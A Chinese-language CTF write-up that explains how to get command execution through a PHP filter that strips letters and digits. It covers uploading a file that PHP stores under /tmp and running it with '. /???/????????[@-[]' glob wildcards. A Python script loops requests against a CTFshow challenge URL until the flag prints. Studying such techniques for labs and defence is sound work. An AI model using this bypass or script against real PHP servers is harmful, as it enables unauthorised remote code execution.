php无字母数字命令执行
大约 2 分钟
php无字母数字命令执行
在命令执行功能中,通常会过滤掉字母和数字,使攻击者无法使用正常的命令进行攻击。
php开发的网站,通过POST上传的文件.enctype设置成multipart/form-data,文件会被临时存放在/tmp目录下,完成路径为/tmp/phpXXXXXX,其中X为随机的大小写字母,这个路径时在php.ini配置文件中设置的。
在shell中可以使用. filename来执行filename文件,不需要filename有执行权限。其中.和filename之间有一个空格。空格在使用post传参时可以用+来代替,在url中用%20来代替。
有了上前面的知识之后,我们就可以构造一个包含恶意代码的文件通过post方法上传到服务器,然后利用系统的命令执行功能传递执行这个文件的命令,即使用. filename来执行这个文件。
因为系统过滤掉了字母和数字,所有需要使用全局通配符来标识这个文件路径。
常用的全局通配符有以下几个:
- *:匹配任意多个字符,包括空格。
- ?:匹配任意单个字符。
- [ ]:匹配方括号内的任意一个字符。
- { }:匹配大括号内的任意一个字符。
/tmp/phpXXXXXX可以表示为/???/?????????,为了减少干扰项,我们可以使用[@-[ ]来匹配文件名的最后一个字符。
在ASCII表中所有大写字母在@和[符号之间,[@-[ ]表示所有大写字母。因为phpXXXXXX中的任意一位X都有可能是大写,所以我们可以使用[@-[ ]来匹配最后一个字符(匹配其他位置的X也可以)。
CTFshow中对应的题目和payload

import requests
import time
url = "http://CTFshow题目环境地址"
#payload.txt 内容为需要执行的命令 这里为 tac /var/www/html/flag.php
file = {"file": open("payload.txt", "r")}
data = {"code": ". /???/????????[@-[]"}
while True:
response = requests.post(url, files=file, data=data)
if response.text.find("CTF{")!= -1:
flag = response.text[response.text.find("CTF{"):-1]
print(flag)
break
else:
print("Waiting for flag...")
time.sleep(1)
每秒发送一次请求,直到获取到flag。
除了使用官方的python脚本写法,还可以写一个html页面,包含文件提交的form表单,将文件传到php服务器,上传的过程使用BP抓包,把执行文件的命令使用通配符表示一起发送到服务器。
Loading...
